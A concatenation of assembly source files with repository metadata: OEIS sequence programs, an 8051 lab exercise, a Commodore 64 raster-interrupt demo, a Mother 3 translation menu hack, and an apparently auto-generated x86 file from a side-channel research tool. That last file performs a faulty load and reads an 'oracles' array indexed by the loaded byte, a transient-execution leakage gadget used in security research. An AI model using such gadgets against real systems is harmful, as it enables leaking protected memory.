59c9e67c569c4a62a97608175695939fa95a1aa2 | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: Pole-j.asm
Type: file
Size: 33723
Last-Modified: '1992-07-14T15:00:00Z'
SHA-1: F0FF4BC701ECD5D7A232591817745F66121D4E59
Description: null
| 20.571429 | 47 | 0.805556 |
b372d75635357b0ec5819341d91dffb5e00fa42a | 364 | asm | Assembly | programs/oeis/242/A242172.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/242/A242172.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/242/A242172.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A242172: a(n) = 2^n*binomial((n + 1 + (n mod 2))/2, 1/2).
; 1,3,6,15,30,70,140,315,630,1386,2772,6006,12012,25740,51480,109395,218790,461890,923780,1939938,3879876,8112468,16224936,33801950,67603900,140408100,280816200,581690700,1163381400,2404321560,4808643120,9917826435,19835652870
mov $1,$0
add $0,2
div $1,2
add $1,2
bin $0,$1
mul $1,$0
mov $0,$1
div $0,2
| 30.333333 | 226 | 0.717033 |
c2b0840a026235a22acc4915e01e46af546bb351 | 332 | asm | Assembly | orgcomp/autumn/lab4/src/int.asm | chebykinn/university | 49491b4d942cedbda1c178d5634c5109f1b81a81 | [
"MIT"
] | 2 | 2016-12-25T14:21:43.000Z | 2016-12-28T08:17:10.000Z | orgcomp/autumn/lab4/src/int.asm | chebykinn/university | 49491b4d942cedbda1c178d5634c5109f1b81a81 | [
"MIT"
] | null | null | null | orgcomp/autumn/lab4/src/int.asm | chebykinn/university | 49491b4d942cedbda1c178d5634c5109f1b81a81 | [
"MIT"
] | 3 | 2017-10-22T18:58:10.000Z | 2017-12-16T23:55:26.000Z | Dseg at 0x08
ai: ds 1
s: ds 1
x equ r0
cseg at 0x0
jmp start
Si1:
mov b, x
mul ab
mov a, ai
mul ab
mov a, #0xff
subb a, b
ret
start:
mov x,#0
cikl:
mov a,#0x01
mov ai, #142
call Si1
mov ai, #128
call Si1
mov ai, #64
call Si1
mov b, x
mul ab
mov a, #128
mul ab
mov P3, b
inc x
jmp cikl
nop
end
| 8.736842 | 13 | 0.584337 |
d7aacbc27fe182b54047cdae1d03a06843dc1289 | 605 | asm | Assembly | oeis/166/A166151.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/166/A166151.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/166/A166151.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A166151: (5n^2 + 5n - 6)/2.
; Submitted by Christian Krause
; 2,12,27,47,72,102,137,177,222,272,327,387,452,522,597,677,762,852,947,1047,1152,1262,1377,1497,1622,1752,1887,2027,2172,2322,2477,2637,2802,2972,3147,3327,3512,3702,3897,4097,4302,4512,4727,4947,5172,5402,5637,5877,6122,6372,6627,6887,7152,7422,7697,7977,8262,8552,8847,9147,9452,9762,10077,10397,10722,11052,11387,11727,12072,12422,12777,13137,13502,13872,14247,14627,15012,15402,15797,16197,16602,17012,17427,17847,18272,18702,19137,19577,20022,20472,20927,21387,21852,22322,22797,23277,23762
add $0,2
bin $0,2
sub $0,1
mul $0,5
add $0,2
| 60.5 | 496 | 0.765289 |
0e4a133f843ec644917c7c09907914f57a765936 | 356 | asm | Assembly | programs/oeis/086/A086575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/086/A086575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/086/A086575.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A086575: a(n) = 4*(10^n - 1).
; 0,36,396,3996,39996,399996,3999996,39999996,399999996,3999999996,39999999996,399999999996,3999999999996,39999999999996,399999999999996,3999999999999996,39999999999999996,399999999999999996,3999999999999999996,39999999999999999996,399999999999999999996
add $0,1
mov $1,10
pow $1,$0
mul $1,4
div $1,360
mul $1,36
mov $0,$1
| 32.363636 | 253 | 0.797753 |
522bb309f9987f06f83abf9b6b107b0e756a0537 | 778 | asm | Assembly | oeis/097/A097083.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/097/A097083.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/097/A097083.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A097083: Values of k such that there is exactly one permutation p of (1,2,3,...,k) such that i+p(i) is a Fibonacci number for 1<=i<=k.
; Submitted by Jamie Morken(s4)
; 1,2,3,5,9,15,24,39,64,104,168,272,441,714,1155,1869,3025,4895,7920,12815,20736,33552,54288,87840,142129,229970,372099,602069,974169,1576239,2550408,4126647,6677056,10803704,17480760,28284464,45765225,74049690,119814915,193864605,313679521,507544127,821223648,1328767775,2149991424,3478759200,5628750624,9107509824,14736260449,23843770274,38580030723,62423800997,101003831721,163427632719,264431464440,427859097159,692290561600,1120149658760,1812440220360,2932589879120,4745030099481,7677619978602
add $0,4
mov $2,1
lpb $0
sub $0,1
add $1,$4
div $1,2
mov $3,$2
add $2,$4
mov $4,$3
lpe
mov $0,$1
| 48.625 | 498 | 0.777635 |
bf94f12e3ac2282883abcddb6dd8d1392c3f4b97 | 480 | asm | Assembly | oeis/135/A135542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/135/A135542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/135/A135542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A135542: Guy Steele's sequence GS(6,4) (see A135416).
; Submitted by Jon Maiga
; 1,3,2,7,4,5,3,15,8,9,5,11,6,7,4,31,16,17,9,19,10,11,6,23,12,13,7,15,8,9,5,63,32,33,17,35,18,19,10,39,20,21,11,23,12,13,7,47,24,25,13,27,14,15,8,31,16,17,9,19,10,11,6,127,64,65,33,67,34,35,18,71,36,37,19,39,20,21,11,79,40,41,21,43,22,23,12,47,24,25,13,27,14,15,8,95,48,49,25,51
mov $2,1
lpb $0
sub $0,1
add $3,$0
div $0,2
gcd $3,2
mul $2,$3
mov $3,0
add $4,$2
lpe
mov $0,$4
add $0,1
| 28.235294 | 278 | 0.608333 |
fbaa8812fb346edc86c41ada48f9735cad310add | 814 | asm | Assembly | data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm | ajnavarro/language-dataset | 34e2980af98ff2ded500619edce3e0907a6e9050 | [
"MIT"
] | 259 | 2017-02-26T07:54:13.000Z | 2022-02-08T18:11:15.000Z | data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm | ajnavarro/language-dataset | 34e2980af98ff2ded500619edce3e0907a6e9050 | [
"MIT"
] | 91 | 2019-11-11T15:41:26.000Z | 2022-03-21T04:17:18.000Z | data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm | ajnavarro/language-dataset | 34e2980af98ff2ded500619edce3e0907a6e9050 | [
"MIT"
] | 42 | 2017-03-06T19:38:16.000Z | 2021-11-03T14:20:12.000Z | processor 6502
org $0810
; initiate music
lda #$00
tax
tay
jsr $1000
;clear screen
jsr $e544
; disable interrupts
sei
lda #$7f
sta $dc0d
sta $dd0d
lda #$01
sta $d01a
; set text mode
lda #$1b
ldx #$08
ldy #$14
sta $d011
stx $d016
sty $d018
; init irq
lda #<irq
ldx #>irq
sta $0314
stx $0315
; create rater interrupt at line 0
ldy #$00
sty $d012
; clear interrupts and ACK irq
lda $dc0d
lda $dd0d
asl $d019
cli
loop:
jmp loop
irq:
lda #$04
sta $d020
sta $d021
jsr $1006
lda #<irq2
ldx #>irq2
sta $0314
stx $0315
; Create raster interrupt at line 160
ldy #160
sty $d012
asl $d019
jmp $ea81
irq2:
lda #$05
sta $d020
sta $d021
lda #<irq
ldx #>irq
sta $0314
stx $0315
ldy #$00
sty $d012
asl $d019
jmp $ea81
org $1000-$7e
INCBIN "music.sid" | 9.690476 | 38 | 0.626536 |
ce73bdef6e4f65c4bd8c6377d6ccdf2706bc0e80 | 7,652 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x180e0, %rsi
lea addresses_A_ht+0x9ab6, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
inc %r8
mov $112, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $9859, %rbp
lea addresses_A_ht+0x12f24, %rsi
lea addresses_normal_ht+0x1bae, %rdi
nop
nop
nop
nop
add %r8, %r8
mov $83, %rcx
rep movsq
nop
nop
nop
nop
xor %r8, %r8
lea addresses_WT_ht+0x1cdb6, %rsi
lea addresses_WC_ht+0x17916, %rdi
nop
nop
and $24765, %rdx
mov $80, %rcx
rep movsw
nop
nop
nop
cmp $13085, %rdx
lea addresses_D_ht+0x18bb6, %rbp
cmp %rax, %rax
mov $0x6162636465666768, %r8
movq %r8, %xmm3
movups %xmm3, (%rbp)
nop
nop
and %rbp, %rbp
lea addresses_UC_ht+0x9ad6, %rsi
lea addresses_UC_ht+0xb2b6, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $8, %rcx
rep movsq
nop
nop
dec %rcx
lea addresses_D_ht+0xf1a8, %rdx
nop
nop
nop
nop
nop
add $15167, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%rdx)
nop
nop
nop
nop
cmp $26045, %rdx
lea addresses_D_ht+0x1ad0b, %rsi
nop
nop
nop
nop
nop
add %rbp, %rbp
and $0xffffffffffffffc0, %rsi
vmovntdqa (%rsi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r14
dec %r8
lea addresses_normal_ht+0xbbb6, %rsi
lea addresses_WC_ht+0x95f6, %rdi
nop
nop
nop
nop
inc %rbp
mov $14, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_D_ht+0xa3b6, %rax
nop
nop
nop
nop
add %rdi, %rdi
movw $0x6162, (%rax)
nop
nop
nop
nop
cmp $45198, %rax
lea addresses_UC_ht+0x3006, %rsi
lea addresses_D_ht+0xaf16, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor $10455, %rbp
mov $36, %rcx
rep movsb
nop
and %rdi, %rdi
lea addresses_WC_ht+0x173b6, %r8
nop
nop
nop
xor %rcx, %rcx
movups (%r8), %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
nop
sub $27086, %r8
lea addresses_D_ht+0x1a3ce, %rdx
nop
nop
nop
nop
nop
cmp %rsi, %rsi
vmovups (%rdx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
nop
nop
xor $58915, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
// Store
lea addresses_UC+0x1aab6, %r13
nop
nop
nop
nop
nop
and %r9, %r9
movb $0x51, (%r13)
// Exception!!!
nop
nop
nop
nop
mov (0), %r8
nop
nop
dec %r13
// Faulty Load
lea addresses_normal+0x1fbb6, %rdi
nop
nop
nop
nop
nop
cmp $15758, %r13
mov (%rdi), %r14
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 30.245059 | 2,999 | 0.660742 |
ab647026a9670ccc36c46c5bad74d712b164456c | 189,593 | asm | Assembly | main_menu_hacks.asm | BetaDream-X/Mother3German | 478a40a93ab6d9fba78eed0435642c2a2b958923 | [
"MIT"
] | 11 | 2020-07-29T10:27:39.000Z | 2022-02-18T08:37:24.000Z | main_menu_hacks.asm | BetaDream-X/Mother3German | 478a40a93ab6d9fba78eed0435642c2a2b958923 | [
"MIT"
] | 34 | 2017-04-27T14:51:43.000Z | 2021-06-27T14:00:26.000Z | main_menu_hacks.asm | BetaDream-X/Mother3German | 478a40a93ab6d9fba78eed0435642c2a2b958923 | [
"MIT"
] | 3 | 2021-01-12T02:32:04.000Z | 2021-06-06T01:12:27.000Z | main_menu_hacks:
//=============================================================================================
// This set of hacks makes the game load and display long strings on main menu stuff correctly.
//=============================================================================================
.write_item_text:
push {r0-r1,lr}
// custom jeff code
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#6
bne +
pop {r0}
str r0,[sp,#0xC] // clobbered code
ldr r0,[r4,#0x0]
pop {r1,pc}
//
+
mov r1,#0x58 // # of max letters per item * 4, since each letter has 4 bytes for some reason
cmp r0,#0x10 //If we're in the loading/saving menu, give some extra space
bne +
mov r1,#1
lsl r1,r1,#8 //This needs to print an actual string, not an item
+
ldr r0,=#0x2013070 // starting address of our item names in RAM
mul r1,r6 // r6 has the current item counter, which is nice and convenient for us
add r0,r0,r1 // r2 now has the proper spot in RAM for the item
pop {r1} // get the address the game would write to normally
str r0,[r1,#0x0] // r0 leaves with the new address in RAM for longer names yay
str r0,[sp,#0xC] // clobbered code
ldr r0,[r4,#0x0]
pop {r1,pc}
//=============================================================================================
.write_item_eos:
push {lr}
// custom jeff code
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#6
beq .write_item_eos_memoes
ldr r1,=#0x2013070
mov r2,#0x58
cmp r0,#0x10
bne +
mov r2,#1
lsl r2,r2,#8
+
mov r0,r10
sub r0,#1
mul r0,r2
add r1,r0,r1
lsl r6,r6,#2
add r1,r1,r6
mov r0,#1
neg r0,r0
str r0,[r1,#0]
b .write_item_eos_end
.write_item_eos_memoes:
ldr r0,[sp,#8]
mov r1,#1
neg r1,r1
str r1,[r0,#0]
.write_item_eos_end:
mov r1,r10 // clobbered code
lsl r0,r1,#0x10
pop {pc}
//=============================================================================================
.clear_data:
push {r2-r3,lr}
// custom jeff code
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#6
beq +
//
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x2013060
ldr r2,=#0x8EE
mov r3,#1
lsl r3,r3,#24
orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy
swi #0x0B // clear old data out
add sp,#4
+
mov r0,#0xD8 // I assume this is clobbered code?
lsl r0,r0,#0x7
pop {r2-r3,pc}
//=============================================================================================
.find_str:
push {lr}
ldr r2,[sp,#4+0x2C]
ldrb r1,[r2,#0x4] // swap_address_set
mov r0,#2
cmp r1,#1
beq .find_str_end
mov r3,#0xAA
lsl r3,r3,#3
add r3,r4,r3 // last possible address
-
ldr r0,[r6,#0x0] // load the real next value
lsl r0,r0,#0x14
cmp r0,#0
bne .find_str_found
add r6,#4
cmp r6,r3
bcs .find_str_not_found
b -
.find_str_found:
ldr r1,[sp,#4+0x20]
cmp r1,#6
beq + // if this is the memo menu, we don't swap around, still save we're mid-printing
str r6,[r2,#0] // save swap_address
ldr r6,[r6,#0] // new address
+
mov r1,#1
strb r1,[r2,#4] // swap_address_set = true
mov r0,#1
.find_str_end:
pop {pc}
.find_str_not_found:
mov r0,#0 // not found any string, signal this and reset everything
sub r2,#0x20
str r0,[r2,#0] // set these to 0, we're done printing
b .find_str_end
//=============================================================================================
.exit_str:
push {lr}
ldr r2,[sp,#4+0x2C]
ldr r1,[sp,#4+0x20]
cmp r1,#6
beq +
ldrb r1,[r2,#0x4] // swap_address_set
cmp r1,#1
bne +
ldr r6,[r2,#0] // load swap_address if not in the memos menu and it's set
+
mov r1,#0
strb r1,[r2,#4] // swap_address_set = false
pop {pc}
//=============================================================================================
// Allocates the tiles buffer for the given input in the stack
.alloc_tiles_buffer:
push {r0-r6,lr}
ldr r4,[sp,#0x20+4] // current buffer address
ldr r5,[sp,#0x20+0x10] // curr_X
ldr r6,[sp,#0x20+0xC] // Y
ldr r0,[sp,#0x20+0x18] // Special arrangement loading?
cmp r0,#0
beq +
lsr r0,r5,#3
bl .new_get_address
b .alloc_tiles_buffer_got_vram_addr
+
lsr r0,r5,#3
asr r1,r6,#3
bl $80498B0 // VRAM address
.alloc_tiles_buffer_got_vram_addr:
str r0,[r4,#0]
lsr r0,r5,#3
asr r1,r6,#3
bl $80498C4 // Arrangement address
str r0,[r4,#4]
ldr r1,=#0x6008000
ldr r2,[r4,#0]
sub r2,r2,r1 // Get how many tiles this is from the start of VRAM
mov r1,#0x40
add r1,r0,r1 // Position of bottom arrangements
lsr r2,r2,#5 // Top arrangements
mov r3,#0x20
add r3,r2,r3 // Bottom arrangements
strh r2,[r0,#0] // Set the buffer arrangements
strh r3,[r1,#0]
add r2,#1
add r3,#1
strh r2,[r0,#2] // Set the buffer arrangements
strh r3,[r1,#2]
add r2,#1
add r3,#1
strh r2,[r0,#4] // Set the buffer arrangements
strh r3,[r1,#4]
// Time to prepare the actual buffers
ldr r0,[sp,#0x20+0x14] // Is this the first?
cmp r0,#0
beq +
ldr r0,=#0x2013040
mov r1,r4
add r1,#8
ldr r2,[r0,#8]
str r2,[r1,#0]
ldr r2,[r0,#0xC]
str r2,[r1,#4]
ldr r2,[r0,#0x10]
str r2,[r1,#8] // Restore the old top tile buffer we saved here
add r1,#0x60
ldr r2,[r0,#0x14]
str r2,[r1,#0]
ldr r2,[r0,#0x18]
str r2,[r1,#4]
ldr r2,[r0,#0x1C]
str r2,[r1,#8] // Restore the old bottom tile buffer we saved here
mov r0,#0
push {r0}
mov r0,sp
mov r1,#0x28
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x20
orr r2,r3
swi #0xB // Set the other 2 top tiles of the buffer
mov r0,sp
mov r1,#0x88
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x20
orr r2,r3
swi #0xB // Set the other 2 bottom tiles of the buffer
pop {r0}
b .alloc_tiles_buffer_end
+
mov r0,#0
push {r0}
mov r0,sp
mov r1,#8
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x30
orr r2,r3
swi #0xB // Set the 3 top tiles of the buffer
mov r0,sp
mov r1,#0x68
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x30
orr r2,r3
swi #0xB // Set the 3 bottom tiles of the buffer
pop {r0}
.alloc_tiles_buffer_end:
ldr r0,[sp,#0x20+0] // max_buffers
sub r0,#1
str r0,[sp,#0x20+0]
ldr r0,[sp,#0x20+4]
mov r1,#0xCC
add r0,r0,r1
str r0,[sp,#0x20+4]
mov r0,#0
str r0,[sp,#0x20+0x14] // Set this as not the first
pop {r0-r6,pc}
//=============================================================================================
// Initializes the specified number of tiles in the buffer.
// It takes in r0 the max amount of buffers to allocate, in r1 the current buffer address,
// X in r2 and Y in r3
.alloc_tiles_buffers:
push {r4-r7,lr}
add sp,#-0x28
str r0,[sp,#0] // max buffers
str r1,[sp,#4] // buffer address
str r2,[sp,#8] // X
str r3,[sp,#0xC] // Y
str r2,[sp,#0x10] // curr_X
ldr r1,[sp,#0x3C+0x1C]
str r1,[sp,#0x14] // save whether to reload the first tile or not
ldr r1,[sp,#0x3C+0x34]
str r1,[sp,#0x18] // save extra data for special vram printing
cmp r1,#0
beq +
ldr r1,[sp,#0x3C+0x38] // WARNING! THESE ARE ALMOST AT THE INSTRUCTION'S RANGE LIMIT!
str r1,[sp,#0x1C] // save first base address
ldr r1,[sp,#0x3C+0x3C]
str r1,[sp,#0x20] // save second base address
ldr r1,[sp,#0x3C+0x40]
str r1,[sp,#0x24] // save switch value
+
mov r1,#7
and r2,r1
sub r4,r6,#4 // save str to r4
mov r5,#0 // tile_was_printed
mov r3,#1
neg r3,r3 // EOS
ldr r7,[sp,#0x3C+0x30]
-
add r4,#4
ldr r0,[r4,#0x0] // load the real next value
cmp r0,r3 // go to the end if it's EOS
beq .alloc_tiles_buffers_end
lsl r0,r0,#0x14
lsr r0,r0,#0x14 // load the actual value
add r0,r7,r0
ldrb r0,[r0,#0] // get the character's length
add r2,r2,r0 // increase the length
cmp r5,#0
bne +
mov r5,#1 // set tile_was_printed
